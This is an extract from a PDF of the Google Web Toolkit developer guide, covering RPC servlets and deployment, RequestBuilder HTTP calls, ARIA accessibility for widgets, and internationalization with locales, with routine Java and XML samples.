Every service ultimately needs to perform some processing to order to respond to client requests. Such server-side processing occurs in the service implementation, which is based on the well-known servlet architecture. A service implementation must extend RemoteServiceServlet and must implement the associated service interface. Note that the service implementation does not implement the asynchronous version of the service interface. Every service implementation is ultimately a servlet, but rather than extending HttpServlet, it extends RemoteServiceServlet instead. RemoteServiceServlet automatically handles serialization of the data being passed between the client and the server and invoking the intended method in your service implementation.
317 / 469
Take a look at the value in url-pattern. The first part must match the name of your GWT module. If your module has a rename-to attribute, you would use the renamed value instead; either way it must match the actual subdirectory within your war directory where your GWT module lives (the module base URL). The second part must match the value you specified in the RemoteServiceRelativePath annotation you annotated com.example.foo.client.MyService with. When testing out both the client and server side code in development mode, make sure to place a copy of the gwtservlet.jar into your war/WEB-INF/lib directory, and make sure your Java output directory is set to war/WEBINF/classes. Otherwise the embedded Jetty server will not be able to load your servlet properly.
Common Pitfalls
Here are some commonly seen errors trying to get RPC running: When you start development mode, you see a ClassNotFoundException exception on the console, and the embedded server returns an error. This most likely means that the class referenced by the servlet element in your GWT module is not in war/WEB-INF/classes. Be sure to compile your server classes into this location. If you are using an Ant build.xml generated by webAppCreator, it should do this for you automatically. When you start development mode, you see a NoClassDefFoundError: com/google/gwt/user/client/rpc/RemoteService exception on the console, and the embedded server returns an error. This most likely means you forgot to copy gwt-servlet.jar into war/WEB-INF/lib. If you are using an Ant build.xml generated by webAppCreator, it should do this for you automatically. Later on, if you need additional server-side libraries, you will need to add copies of those libraries into war/WEBINF/lib also. When running your RPC call, development mode displays an excaption NoServiceEntryPointSpecifiedException: Service implementation URL not specified. This error means that you did not specify a @RemoteServiceRelativePath in your service interface, and you also did not manually set target path by calling ServiceDefTarget.setServiceEntryPoint(). If invoking your RPC call fails with a 404 StatusCodeException, your web.xml may be misconfigured. Make sure you specified a @RemoteServiceRelativePath and that the <url-pattern> specified in your web.xml matches this value, prepended with the location of your GWT output directory within the war directory.
318 / 469
4.10.6.
The process of making an RPC from the client always involves the same steps: 1. Instantiate the service interface using GWT.create(). 2. Create an asynchronous callback object to be notified when the RPC has completed. 3. Make the call.
Example
Suppose you want to call a method on a service interface defined as follows:
// The RemoteServiceRelativePath annotation automatically calls setServiceEntryPoint() @RemoteServiceRelativePath("email") public interface MyEmailService extends RemoteService { void emptyMyInbox(String username, String password); }
It is safe to cache the instantiated service proxy to avoid creating it for subsequent calls. For example, you can instantiate the service proxy in the module's onModuleLoad() method and save the resulting instance as a class member.
319 / 469
public class Foo implements EntryPoint { private MyEmailServiceAsync myEmailService = (MyEmailServiceAsync) GWT.create(MyEmailService.class); public void onModuleLoad() { // ... other initialization } /** * Make a GWT-RPC call to the server. The myEmailService class member * was initalized when the module started up. */ void sendEmail (String message) { myEmailService.sendEmail(message, new AsyncCallback<String>() { public void onFailure(Throwable caught) { Window.alert("RPC to sendEmail() failed."); } public void onSuccess(String result) { label.setText(result); } }); } }
4.10.7.
Serializable Types
GWT supports the concept of serialization, which means allowing the contents of a data object to be moved out of one piece of running code and either transmitted to another application or stored outside the appliation for later use. GWT RPC method parameters and return types must be transmitted across a network between client and server applications and therefore they must be serializable. Serializable types must conform to certain restrictions. GWT tries really hard to make serialization as painless as possible. While the rules regarding serialization are subtle, in practice the behavior becomes intuitive very quickly. Tip: Although the terminology is very similar, GWT's concept of "serializable" is slightly different than serialization based on the standard Java interface Serializable. All references to serialization are referring to the GWT concept. For some background, see the FAQ topic Does the GWT RPC system support the use of java.io.Serializable? A type is serializable and can be used in a service interface if one of the following is true: The type is primitive, such as char, byte, short, int, long, boolean, float, or double. The type an instance of the String, Date, or a primitive wrapper such as Character, Byte, Short, Integer, Long, Boolean, Float, or Double. The type is an enumeration. Enumeration constants are serialized as a name only; none of the field values are serialized. The type is an array of serializable types (including other serializable arrays). The type is a serializable user-defined class. The type has at least one serializable subclass.
The class java.lang.Object is not serializable, therefore you cannot expect that a collection of Object types will be serialized across the wire. As of GWT 1.5, most use cases can utilize Java generics to replace the use of Object instances.
320 / 469
Polymorphism
GWT RPC supports polymorphic parameters and return types. To make the best use of polymorphism, however, you should still try to be as specific as your design allows when defining service interfaces. Increased specificity allows the compiler to do a better job of removing unnecessary code when it optimizes your application for size reduction.
Raw Types
Collection classes such as java.util.Set and java.util.List are tricky because they operate in terms of Object instances. To make collections serializable, you should specify the particular type of objects they are expected to contain through normal type parameters (for example, Map<Foo,Bar> rather than just Map). If you use raw collections or maps you will get bloated code.
The GWT RPC mechanism for enhanced classes makes several assumptions regarding the persistence implementation: The object must be in a detached state (that is, changes to its fields must not affect the persistent store, and vice versa) at the time it is passed to or returned from a method of a RemoteService. Enhanced fields that are neither static nor transient must be serializable using the ordinary Java serialization mechanism. If the persistence implementation requires changes to an enhanced instance field to have additional side effects (for example, if static fields need to be updated at the same time), a suitably named setter method (as described below) must exist for the instance field.
When transmitting an enhanced object from server to client, the normal GWT RPC mechanism is used for the nonenhanced fields. Non-transient, non-static fields that exist on the server but not the client are serialized on the server using Java serialization, and the field names and values are combined into a single encoded value which is passed to the client. The client stores this encoded value, but does not make use of it except when transmitting the object back to the server. When an enhanced object is transmitted from client to server, the encoded value (if present) is sent to the server, where it is decoded into its separate field names and values. For each field 'xxxYyy', if a setter method named 'setXxxYyy' exists (note capitalization of the first letter following 'set'), it is called with the field value as its argument. Otherwise, the field is set directly.
4.10.8.
Handling Exceptions
Making RPCs opens up the possibility of a variety of errors. Networks fail, servers crash, and problems occur while processing a server call. GWT lets you handle these conditions in terms of Java exceptions. RPC-related exceptions fall into two categories: checked exceptions and unchecked exceptions. Keep in mind that any custom exceptions that you want to define, like any other piece of client-side code, must only be composed of types supported by GWT's emulated JRE library.
321 / 469
Checked Exceptions
Service interface methods support throws declarations to indicate which exceptions may be thrown back to the client from a service implementation. Callers should implement AsyncCallback.onFailure(Throwable) to check for any exceptions specified in the service interface.
Unexpected Exceptions
InvocationException
An RPC may not reach the service implementation at all. This can happen for many reasons: the network may be disconnected, a DNS server might not be available, the HTTP server might not be listening, and so on. In this case, an InvocationException is passed to your implementation of AsyncCallback.onFailure(Throwable). The class is called InvocationException because the problem was with the invocation attempt itself rather than with the service implementation. An RPC can also fail with an invocation exception if the call does reach the server, but an undeclared exception occurs during normal processing of the call. There are many reasons such a situation could arise: a necessary server resource, such as a database, might be unavailable, a NullPointerException could be thrown due to a bug in the service implementation, and so on. In these cases, a InvocationException is thrown in application code.
IncompatibleRemoteServiceException
Another type of failure can be caused by an incompatibility between the client and the server. This most commonly occurs when a change to a service implementation is deployed to a server but out-of-date clients are still active. For more details please see IncompatibleRemoteServiceException. When the client code receives an IncompatibleRemoteServiceException, it should ultimately attempt to refresh the browser in order to pick up the latest client.
4.10.9.
Architectural Perspectives
There are various ways to approach services within your application architecture. Understand first of all that GWT RPC services are not intended to replace J2EE servers, nor are they intended to provide a public web service (e.g. SOAP) layer for your application. GWT RPCs, fundamentally, are simply a method of "getting from the client to the server." In other words, you use RPCs to accomplish tasks that are part of your application but that cannot be done on the client computer. Architecturally, you can make use of RPC two alternative ways. The difference is a matter of taste and of the architectural needs of your application.
Multi-Tier Deployment
In more complex, multi-tiered architectures, your GWT service definitions could simply be lightweight gateways that call through to back-end server environments such as J2EE servers. From this perspective, your services can be viewed as the "server half" of your application's user interface. Instead of being general-purpose, services are created for the specific needs of your user interface. Your services become the "front end" to the "back end" classes that are written by stitching together calls to a more general-purpose back-end layer of services, implemented, for example, as a cluster of J2EE servers. This kind of architecture is appropriate if you require your back-end services to run on a physically separate computer from your HTTP server.
322 / 469
In the examples below, we'll show how to deploy your server-side components to a production server using Apache HTTPD and Apache Tomcat as a web engine. Although there are many different implementations of web servers and servlet containers, the Servlet API Specifications define a standard structure for project directories which most web engines follow, and as of 1.6, GWT's native output format follows this specification. Tip: For the latest servlet specification documentation see the Java Community Process website. It will describe the general workings of the servlet and the conventions used in configuring your servlets for deployment.
http://www.example.com/MyApp/MyApp.html. (An easier method might be to just copy the entire war contents and then delete WEB-INF/ out of the destination.) To setup your Tomcat server, just deploy the entire war, including both kinds of content. The reason for including static content is that servlets may need to use ServletContext.getResource() to access static content programmatically. This is always true for GWT RPC servlets, which need to load a generated serialization policy file.
Example
Let's assume that the Tomcat server is on a different host. In this case, there is going to be a problem. Browsers' Single Origin Policy (SOP) will prevent connections to ports or machines that differ from the original URL. The strategy we are going to use to satisfy the SOP is to configure Apache to proxy a URL to another URL. Specific directions for configuring Apache and Tomcat for such a proxy setup are at the Apache website. The general idea is to setup Apache to redirect ONLY requests to your sevlets. That way Apache will serve all the static content, and your Tomcat server will only be used for service calls. For this example, assume that: Your Apache server is running on www.example.com Your Tomcat server is running on servlet.example.com:8080 Your GWT module has a <rename-to="myapp"> You have one RPC servlet, mapped into /myapp/myService
The idea is to have Apache proxy requests to the servlet to the other server such that:
http://www.example.com/MyApp/myapp/myService --> http://servlet.example.com:8080/MyApp/myapp/myService
To verify this is working, use a web browser to hit both http://www.example.com/MyApp/myapp/myService and http://servlet.example.com:8080/MyApp/myapp/myService. You should get the same result in both cases (typically a 405: HTTP method GET is not supported by this URL, which is good). If you get something different hitting the second URL, you may have a configuration issue. If you get a 404, there is most likely an error in the left hand side of your URL mapping. If you get a "Bad Gateway", there is most likely an error in the right hand side of your URL mapping. If you get a 403 permission error, check the Apache configuration files to for <Proxy> tags to see if the permissions are wrong. You may need to add a section like this:
<Proxy *> Order deny,allow Allow from all </Proxy>
324 / 469
Tip: You can also use a real production server while debugging in development mode. This can be useful if you are adding GWT to an existing application, or if your server-side requirements have become more than the embedded web server can handle. See this article on how to use an external server in development mode.
4.10.11.
If your GWT application needs to communicate with a server, but you can't use Java servlets on the backend or if you simply prefer not to use RPC you can still perform HTTP requests manually. GWT contains a number of HTTP client classes that simplify making custom HTTP requests to your server and optionally processing a JSON- or XML-formatted response. GWT contains a set of HTTP client classes that allow your application to make generic HTTP requests.
RequestBuilder is the core class you'll need for constructing and sending HTTP requests. Its constructor has parameters for specifying the HTTP method of the request (GET, POST, etc.) and the URL (the URL utility class is handy for escaping invalid characters). Once you have a RequestBuilder object, you can use its methods to set the username, password, and timeout interval. You can also set any number of headers in the HTTP request. Once the HTTP request is ready, call the server using the sendRequest(String, RequestCallback) method. The RequestCallback argument you pass will handle the response or the error that results. When a request completes normally, your onResponseReceived(Request, Response) method is invoked. Details of the response (for example, status code, HTTP headers, and response text) can be retrieved from the Response argument. Note that the onResponseReceived(Request, Response) method is called even if the HTTP status code is something other than 200 (success). If the call does not complete normally, the onError(Request, Throwable) method gets called, with the second parameter describing the type error that occurred. As noted before, all HTTP calls in GWT are asynchronous, so the code following the call to sendRequest(String, RequestCallback) will be executed immediately, not after the server responds to the HTTP request. You can use the Request object that is returned from sendRequest(String, RequestCallback) to monitor the status of the call, and cancel it if necessary. Here's a brief example of making an HTTP request to a server:
325 / 469
import com.google.gwt.http.client.*; ... String url = "http://www.myserver.com/getData?type=3"; RequestBuilder builder = new RequestBuilder(RequestBuilder.GET, URL.encode(url)); try { Request request = builder.sendRequest(null, new RequestCallback() { public void onError(Request request, Throwable exception) { // Couldn't connect to server (could be timeout, SOP violation, etc.) } public void onResponseReceived(Request request, Response response) { if (200 == response.getStatusCode()) { // Process the response in response.getText() } else { // Handle the error. Can get the status text from response.getStatusText() } } }); } catch (RequestException e) { // Couldn't connect to server }
Browser mechanics aside, asynchronous RPC gives your application the ability to achieve true parallelism in your application, even without multi-threading. For example, suppose your application displays a large table containing many widgets. Constructing and laying out all those widgets can be time consuming. At the same time, you need to fetch data from the server to display inside the table. This is a perfect reason to use asynchronous calls. Initiate an asynchronous call to request the data immediately before you begin constructing your table and its widgets. While the server is fetching the required data, the browser is executing your user interface code. When the client finally receives the data from the server, the table has been constructed and laid out, and the data is ready to be displayed. To give you an idea of how effective this technique can be, suppose that building the table takes one second and fetching the data takes one second. If you make the server call synchronously, the whole process will require at least two seconds.
But if you fetch the data asynchronously, the whole process still takes just one second, even though you are doing two seconds' worth of work.
326 / 469
Tip: Most browsers restrict the number of outgoing network connections to two at a time, restricting the amount of parallelism you can expect from multiple simultaneous RPCs. The hardest thing to get used to about asynchronous calls is that the calls are non-blocking, however, Java inner classes go a long way toward making this manageable. Consider the following implementation of an asynchronous call adapted from the Dynamic Table sample application. It uses a slightly different syntax to define the required interface for the AsyncCallback object that is the last parameter to the getPeople RPC call:
// This code is called before the RPC starts // if (startRow == lastStartRow) { ... } // Invoke the RPC call, implementing the callback methods inline: // calService.getPeople(startRow, maxRows, new AsyncCallback<Person[]>() { // When the RPC returns, this code will be called if the RPC fails public void onFailure(Throwable caught) { statusLabel.setText("Query failed: " + caught.getMessage()); acceptor.failed(caught); } // When the RPC returns, this code is called if the RPC succeeds public void onSuccess(Person[] result) { lastStartRow = startRow; lastMaxRows = maxRows; lastPeople = result; pushResults(acceptor, startRow, result); statusLabel.setText("Query reutrned " + result.length + " rows."); } }); // The above method call will not block, but return immediately. // The following code will execute while the RPC is in progress, // before either of onFailure() or onSuccess() are executed. // statusLabel.setText("Query in progress..."); ...
The important issue to understand is that that the code that follows the RPC call invocation will be executed while the actual round trip to the server is still in progress. Although the code inside the onSuccess() method is defined inline with the call, it will not be executed until both the calling code returns back to the JavaScript main loop, and the result message from the server returns.
327 / 469
General improvements
Client-side deserialization is significantly faster on some platforms and is immune from stack-depth problems on all platforms. Connections from a development mode session no longer require the exchange of a gwt.rpc file. In the -noserver case, it is no longer necessary to compile and deploy your application in order to subsequently debug it in development mode. For objects that follow the default serialization rules, no explicit serialization or deserialization code is required in the client-side JavaScript. Object graph traversal has been separated from payload generation in the serialization code in order to make the implementation code easier to extend. Limited support for communicating with previously-compiled permutations can be enabled by saving old gwt.rpc files and making them available through RpcServlet.findClientOracleData().
Known limitations
The deRPC server code is incompatible with Google App Engine for Java. This will be remedied in a future release. The payload size may be larger, which may be a consideration on slower networks or when there are many RPCs.
328 / 469
4.11.1.
Overview
Screen Readers
A screen reader is an assistive application that interprets what is displayed on the screen for a blind or visually impaired user. Screen readers can interact with the user in a variety of ways, including speaking out loud or even producing a braille output.
ARIA
ARIA is a specification for making rich Internet applications accessible via a standard set of DOM properties. It is currently a work in progress at the W3C. More information can be found at this ARIA page referenced by the Mozilla Developer Center. Adding accessibility support to GWT widgets involves adding the relevant properties to DOM elements that can be used by browsers to raise events during user interaction. Screen readers can react to these events to represent the function of GWT widgets. The DOM properties specified by ARIA are classified into Roles and States. The ARIA property role is an indication of the widget type, and therefore describes the way the widget should behave. A role is static and does not change over the lifetime of widget. Some examples of ARIA roles: tree, menubar, menuitem, tab. The ARIA role of a widget is expressed as a DOM attribute named role with its value set to one of the ARIA role strings.
329 / 469
There are also ARIA properties that describe the state of a widget. For example, a checkbox widget could be in the states "checked" or "unchecked". A state is dynamic and should be updated during user interaction. Some examples of ARIA states: aria-disabled, aria-pressed, aria-expanded, aria-haspopup. Note that an ARIA state itself a DOM attribute -- for example, a toggle button widget that wants to express that it has been pressed will have an attribute aria-pressed set to true. The role of a widget determines the set of states that it supports. A widget with the role of list, for example, would not expose the aria-pressed state. Also, accessible widgets require keyboard support. Screen readers will speak the element that has keyboard focus, so keyboard accessibility can be accomplished by moving focus to different elements in response to keyboard commands.
4.11.2.
The remainder of this page describes how to add accessibility support to your GWT application and widgets. A variety of different techniques are discussed; there is not yet a standard and generally-applicable approach for making AJAX applications accessible, but we provide some suggestions.
4.11.3.
Class com.google.gwt.user.client.ui.Accessibility
The Accessibility class implements the needed accessor and modifier methods for manipulating DOM attributes defined by the ARIA specifications. It also defines constants for the ARIA role and state names, which are used by GWT widgets.
4.11.4.
The ARIA attribute role is an indication of the widget type; it describes the way the widget should behave. Roles are static and should not change during the lifetime of a widget. Widget authors should: Pick the right role for the widget from the list of supported ARIA roles. Set this attribute at construction time.
The following is an example taken from the CustomButton widget. Adding the button role indicates to an assistive technology that the widget will behave like a button.
protected CustomButton() { ... // Add a11y role "button". Accessibility.ROLE_BUTTON is the String constant // "button" Accessibility.setRole(getElement(), "role", Accessibility.ROLE_BUTTON); ... }
Note that some of the role names have already been defined as constants in the Accessibility class.
4.11.5.
An ARIA state is an additional attribute that reflects the current state of a widget; for example, whether a checkbox is checked or unchecked. A state should be initialized at the time a widget is constructed and updated during user interaction.
330 / 469
Note that: A widget can have numerous state attributes, whereas a widget can only ever have one role attribute. State attributes are dynamic and change during the widget's lifetime. A role once set does not change.
Also, some of the relevant state names are defined as constants in the Accessibility class.
Initializing States
Once a specific ARIA role has been associated with a widget, it is important to check which states are associated with that role. For example, the button role has two state attributes: aria-disabled Indicates that the widget is present, but is not allowed for user actions. aria-pressed Used for buttons that are toggleable to indicate their current pressed state. The aria-pressed state is not used in the CustomButton widget, as it is not supported by most screen readers yet. However, the code in the example below is the code that we would write when the aria-pressed state is better supported. In the CustomButton widget, the aria-pressed ARIA state is initialized as follows:
protected CustomButton() { ... // Add a11y state "aria-pressed" using the constant in the Accessibility class Accessibility.setState(getElement(), Accessibility.STATE_PRESSED, "false"); }
It is important to make sure that all event handlers that change the state of the widget also change the ARIA state.
4.11.6.
Keyboard accessibility is a key requirement when access-enabling GWT widgets. When developing a new widget, ensure that it is keyboard accessible from the outset; adding keyboard accessibility later can be difficult. Screen readers will speak the element that has keyboard focus, so keyboard accessibility can be accomplished by moving focus to different elements in response to keyboard commands. Proper keyboard accessibility affords the following end-user behavior: Users can tab to move focus to the widget. When the widget receives focus, the screen reader will interpret the ARIA roles and states that are set on the widget. The screen reader will speak a description of the widget, and its textual content.
By default, the only elements in the HTML DOM that can receive keyboard focus are anchor and form fields. However, setting the DOM property tabIndex (note that this corresponds to HTML attribute tabindex) to 0 will place such elements in the default tab sequence and thereby enable them to receive keyboard focus. Setting tabIndex = -1, while removing the element from the tab sequence, still allows the element to receive keyboard focus programmatically.
331 / 469
In GWT, any widget that extends the FocusWidget abstract class will be keyboard focusable by default. The FocusWidget abstract class includes a setFocus(boolean) method that can be used to programmatically set the focus or remove focus on the widget. FocusWidget also includes a setTabIndex(int) method that allows the user to set the DOM property tabIndex for the widget. Keep in mind that extending FocusWidget does not guarantee focusability for your widget. The base element of the the FocusWidget (passed to the superclass constructor) must be a naturally focusable HTML element. For widgets that don't extend the FocusWidget abstract class, ensuring keyboard accessibility can be more difficult. Different browsers set focus in different ways, and focus on arbitrary elements is not supported everywhere. You can use FocusPanel to enclose elements that need to receive keyboard focus; just be sure to test your widget on different browsers. For an example of using the tabIndex property, see the MenuBar widget. The root menu is the only one that should be in the tab sequence; its sub-menus are not. To achieve this, the tab index is set to 0 in the MenuBar's constructor, and as new MenuBars are added as sub-menus, their tab indexes are reset to -1.
4.11.7.
Some widgets, such as GWT's Tree and MenuBar widgets, consist of a container with a set of items. The container has a naturally focusable DOM element, but the items themselves do not. The focusable element receives all keyboard input, and causes visual changes in the contained items to indicate a change in item selection. For example, GWT's Tree widget contains TreeItems; both of these elements are made up of divs. However, the Tree also has a naturally focusable hidden element which receives keyboard events. Whenever the user hits the arrow keys, this element handles the event and causes the appropriate TreeItem to be highlighted. While this technique holds up for sighted users, it plays havoc with screen readers. Since the TreeItems themselves never get natural focus when selected, there is no way for the screen reader to know that the item selection has changed. One possible way to remedy this would be to have each TreeItem be naturally focusable. Unfortunately, TreeItems can contain more than just text -- they can contain other widgets, which themselves can be focusable. Here, delegating focus properly would be fairly complex -- each TreeItem would have to handle all of the key events for its child widget, and decide whether or not to delegate key events to its child (for user interaction with the child widget), or to handle the key events itself (for Tree navigation). Keep in mind that hooking up keyboard event handlers for each item would become unwieldy, as Trees may become very large. One can avoid doing this by relying on the natural event bubbling of key events, and having an element at the root of the Tree widget be responsible for receiving events. Another way to remedy the situation is to use the ARIA aria-activedescendant state. This state is set on an element that is naturally focusable, and its value is the HTML id of the currently-selected item. Whenever the item changes, the aria-activedescendant value should be updated to the id of the newly-selected item. The screen reader will notice the change in the value and read the element corresponding to the id. Below is an example of how this technique is used on the GWT Tree and TreeItem widgets. First, we set roles on the Tree's root element and its focusable element:
// Called from Tree(...) constructor private void init(TreeImages images, boolean useLeafImages) { ... // Root element of Tree is a div setElement(DOM.createDiv()); ... // Create naturally-focusable element focusable = FocusPanel.impl.createFocusable(); ... // Hide element and append it to root div DOM.setIntStyleAttribute(focusable, "zIndex", -1); DOM.appendChild(getElement(), focusable); // Listen for key events on the root element sinkEvents(Event.MOUSEEVENTS | Event.ONCLICK | Event.KEYEVENTS); ... // Add a11y role "tree" to root element Accessibility.setRole(getElement(), Accessibility.ROLE_TREE); // Add a11y role "treeitem" to focusable element. This is necessary for some screen // readers to interpret the aria-activedescendant state of this element. Accessibility.setRole(focusable, Accessibility.ROLE_TREEITEM);
332 / 469
Whenever an item selection changes, the value of the aria-activedescendant state is set on the focusable element, and the ARIA states of the currently-selected item are set:
// Called after a new item has been selected private void updateAriaAttributes() { // Get the element which contains the text (or widget) content within // the currently-selected TreeItem Element curSelectionContentElem = curSelection.getContentElem(); ... // Set the 'aria-level' state. To do this, we need to compute the level of // the currently selected item. Accessibility.setState(curSelectionContentElem, Accessibility.STATE_LEVEL, String.valueOf(curSelectionLevel + 1)); // Set other ARIA states ... // Update the 'aria-activedescendant' state for the focusable element to // match the id of the currently selected item. Accessibility.setState(focusable, Accessibility.STATE_ACTIVEDESCENDANT, DOM.getElementAttribute(curSelectionContentElem, "id"));
Though it is not shown in this code snippet, when TreeItems are created, they are constructed out of several divs, only one of which contains the content that we wish to be interpreted by the screen reader. This div is assigned a unique DOM id (which is generated using the DOM.createUniqueId() method), and a role of treeitem. These attributes are not set on the root TreeItem div because it contains a child image, which we do not want to be read.
4.11.8.
A web page will often include human-readable descriptive elements (such as Label and HTML widgets) that explain the purpose of a particular widget. However, the association between a widget and its description may not be obvious to a browser or a screen reader. ARIA defines the aria-labelledby state which can be used to explicitly associate a widget with one or more descriptive elements. In order to associate a label with a widget, ensure that descriptive elements all have a unique id. The assigned id can later be used with to set the aria-labelledby state of a widget to refer to the id values of any descriptive elements, thereby associating those descriptive elements with the widget.
4.11.9.
AJAX components often highlight an item of interest without moving keyboard focus to that item. This creates a good end-user experience when using components such as autocomplete widgets; the user can continue to type and obtain further refinements to the available set of choices. Because screen readers traditionally attempt to speak the item that has keyboard focus, they will not read highlighted items. ARIA live regions help make widgets such as autocomplete boxes usable for visually impaired users.
333 / 469
How It Works
The ARIA role region is used to declare areas that hold such live content, i.e., content that updates dynamically without having keyboard focus. The ARIA state aria-live on such regions specifies the priority of such updates; think of this as a politeness setting. Here is a code example that should provide the general idea of how to implement this technique for an auto-complete widget:
Here, we have created a hidden div element that holds the content to be spoken. We've declared it to have role = 'region' and live = 'rude'; the latter setting specifies that updates to this content have the highest priority. Next, we set up the needed associations so that the set of suggestions returned as the user types into the AutoCompleteWidget's text box are put in hidden div:
// This method is called via a keyboard event handler private void showSuggestions(Collection suggestions) { if (suggestions.size() > 0) { // Popupulate the visible suggestion pop-up widget with the new selections // and show them .... // Generate the hidden div content based on the suggestions String hiddenDivText = "Suggestions "; for (Suggestion curSuggestion : suggestions) { hiddenDivText += " " + curSuggestion.getDisplayString(); } } } DOM.setInnerText(ariaElement, hiddenDivText);
334 / 469
4.11.10.
First and foremost, use native HTML controls whenever possible. Native HTML controls are well understood by screen readers. They do not require ARIA roles and states, which has two main benefits: ARIA is not yet supported by all major browsers. Screen reader and browser developers have already done the work to make HTML controls accessible. Reimplementing native HTML controls using divs (for example) can cause poor performance. For example, suppose a developer were to re-implement a listbox using divs. One of the ARIA states that applies to the listitem role is aria-posinset. This value indicates the position of the item within its parent container, which corresponds to the item's index in the listbox. The problem is that every time an item is added or removed from the listbox, one has to iterate through all of the items in the list, adjusting their aria-posinset values. Though there are some optimizations that can be done, this is still much slower than native HTML select elements.
If native HTML controls cannot be used and a custom widget has to be built, keep in mind that it is much easier to develop an accessible widget from the beginning than to go back and add accessibility support to an existing widget. While adding ARIA roles and states is relatively easy, ensuring that the appropriate elements receive keyboard focus during user interaction can be more complicated. Also, widgets that subclass other widgets should end up with the appropriate ARIA roles and states. Your superclass widget might already specify a certain ARIA role, and while the Accessibility.setRole(Element, String) method will overwrite a previous ARIA role in the same element, a complicated DOM configuration may result in different ARIA roles being placed in different elements. Make sure to test that a new widget is accessible! There are three basic steps in the translation between the DOM and the screen reader: DOM Since ARIA attributes are being added directly to the DOM, an easy way to check that the attributes are in the right location is to use a DOM inspector like Firebug. Events It is important to make sure that the browser raises the appropriate events in response to ARIA attributes, changes in focus, and changes in the widget itself. A Microsoft tool called the Accessible Event Watcher, or AccEvent, can allow you to check which events are being raised. Screen Reader In the end, the best way to verify that your GWT widgets are accessible is by using a screen reader. Some screen readers may not be listening for all of the events raised by the browser, or they might expect the ARIA attributes to be added to the DOM in certain locations. The most widely used screen readers with some support for ARIA are JAWS and Window-Eyes. FireVox, a free text-to-speech add-on for Firefox, also includes support for ARIA.
335 / 469
4.12. Internationalization
GWT includes a flexible set of tools to help you internationalize your applications and libraries. GWT internationalization support provides a variety of techniques to internationalize strings, typed values, and classes. Note: To run through the steps to internationalize a sample GWT app, see the tutorial Internationalizing a GWT Application. 1. 2. 3. 4. 5. Locales in GWT Static String Internationalization Dynamic String Internationalization Java Annotations Localized Properties Files
Internationalization Techniques
GWT offers multiple internationalization techniques to afford maximum flexibility to GWT developers and to make it possible to design for efficiency, maintainability, flexibility, and interoperability in whichever combinations are most useful. Static string internationalization A family of efficient and type-safe techniques that rely on strongly-typed Java interfaces, properties files, and code generation to provide locale-aware messages and configuration settings. These techniques depend on the interfaces Constants, ConstantsWithLookup, and Messages. Dynamic string internationalization A simple and flexible technique for looking up localized values defined in a module's host page without needing to recompile your application. This technique is supported by the class Dictionary. Extending or implementing Localizable Provides a method for internationalizing sets of algorithms using locale-sensitive type substitution. This is an advanced technique that you probably will not need to use directly, although it is useful for implementing complex internationalized libraries. For details on this technique, see the Localizable class documentation.
336 / 469
The GWT internationalization types reside in the com.google.gwt.i18n package. To use any of these types, your module must inherit from the I18N module (com.google.gwt.i18n.I18N).
<module> <inherits name="com.google.gwt.i18n.I18N"/> </module>
As of GWT 1.5, the User module (com.google.gwt.user.User) inherits the I18N module. So if your project's module XML file inherits the User module (which generally it does), it does not need to specify explicitly an inherit for the I18N module.
4.12.1.
Locales in GWT
GWT is different than most toolkits by performing most locale-related work at compile time rather than runtime. This allows GWT to do compile-time error checking, such as when a parameter is left out or the translated value is not of the correct type, and for optimizations to take into account known facts about the locale. This also allows an end user to download only the translations that are relevant for them.
Overview
GWT represents locale as a client property whose value can be set either using a meta tag embedded in the host page or in the query string of the host page's URL. Rather than being supplied by GWT, the set of possible values for the locale client property is entirely a function of your module configuration.
337 / 469
<module> <inherits name="com.google.gwt.user.User"/> <inherits name="com.google.gwt.i18n.I18N"/> <!-- French language, independent of country --> <extend-property name="locale" values="fr"/> <!-- French in France --> <extend-property name="locale" values="fr_FR"/> <!-- French in Canada --> <extend-property name="locale" values="fr_CA"/> <!-- English language, independent of country --> <extend-property name="locale" values="en"/> </module>
For example, the following host HTML page sets the locale to "ja_JP":
<html> <head> <meta name="gwt:property" content="locale=ja_JP"> </head> <body> <!-- Load the GWT compiled module code --> <script src="com.google.gwt.examples.i18n.ColorNameLookupExample.nocache.js " /> </body> </html>
To specify the locale client property using a query string, specify a value for the name locale. For example, http://www.example.org/myapp.html?locale=fr_CA Tip: The preferred time to explicitly set locale is to do so before your GWT module is invoked. You can change the locale from within your GWT module by adding or changing the locale query string in the current URL and reloading the page. Keep in mind that after reloading the page, your module will restart.
Runtime Locales
For cases where the translated values are the same, but you still want country-specific details, you can use runtime locales to reduce the number of compiled permutations, but still get country-specific details like the default currency, number/date formatting rules, etc. 338 / 469
As an example, you might have one set of translations for all of Spanish as spoken in Latin America ( es_419), yet allow users to choose a country-specific locale such as Argentinian Spanish (es_AR). The easy way to use runtime locales is simply to add:
<inherits name="com.google.gwt.i18n.CldrLocales"/>
to your module XML file, and all locales that GWT knows about that inherit from your compile-time locale will be automatically included. You can see the result in the Showcase sample application.
Caveats
All the tables for all included runtime locales are included in the each appropriate compiled permutation, so this can increase download size. The tables for non-obvious locale inheritance and aliases are too large to be included in the selection script, so inheritance won't work properly in all cases. This means you either need to specifically control the set of possible locales, such as in the locale selector in the Showcase sample application, or have the server choose the locale using the proper inheritance tables (GwtLocaleFactoryImpl will be helpful here, and you will need a way to get the set of locales your application was built with). Only currency data, number format, and date/time formats are affected by runtime locales currently everything else will only use the compile-time locale from the locale deferred binding property.
339 / 469
4.12.2.
Static string internationalization is the most efficient way to localize your application for different locales in terms of runtime performance. This approach is called "static" because it refers to creating tags that are matched up with human readable strings at compile time. At compile time, mappings between tags and strings are created for all languages defined in the module. The module startup sequence maps the appropriate implementation based on the locale setting using deferred binding. Static string localization relies on code generation from standard Java properties files or annotations in the Java source. GWT supports static string localization through three tag interfaces (that is, interfaces having no methods that represent a functionality contract) and a code generation library to generate implementations of those interfaces.
340 / 469
Properties Files
All of the types above use properties files based on the traditional Java properties file format, although GWT uses an enhanced properties file format that allows for UTF-8 and therefore allows properties files to contain Unicode characters directly.
4.12.3.
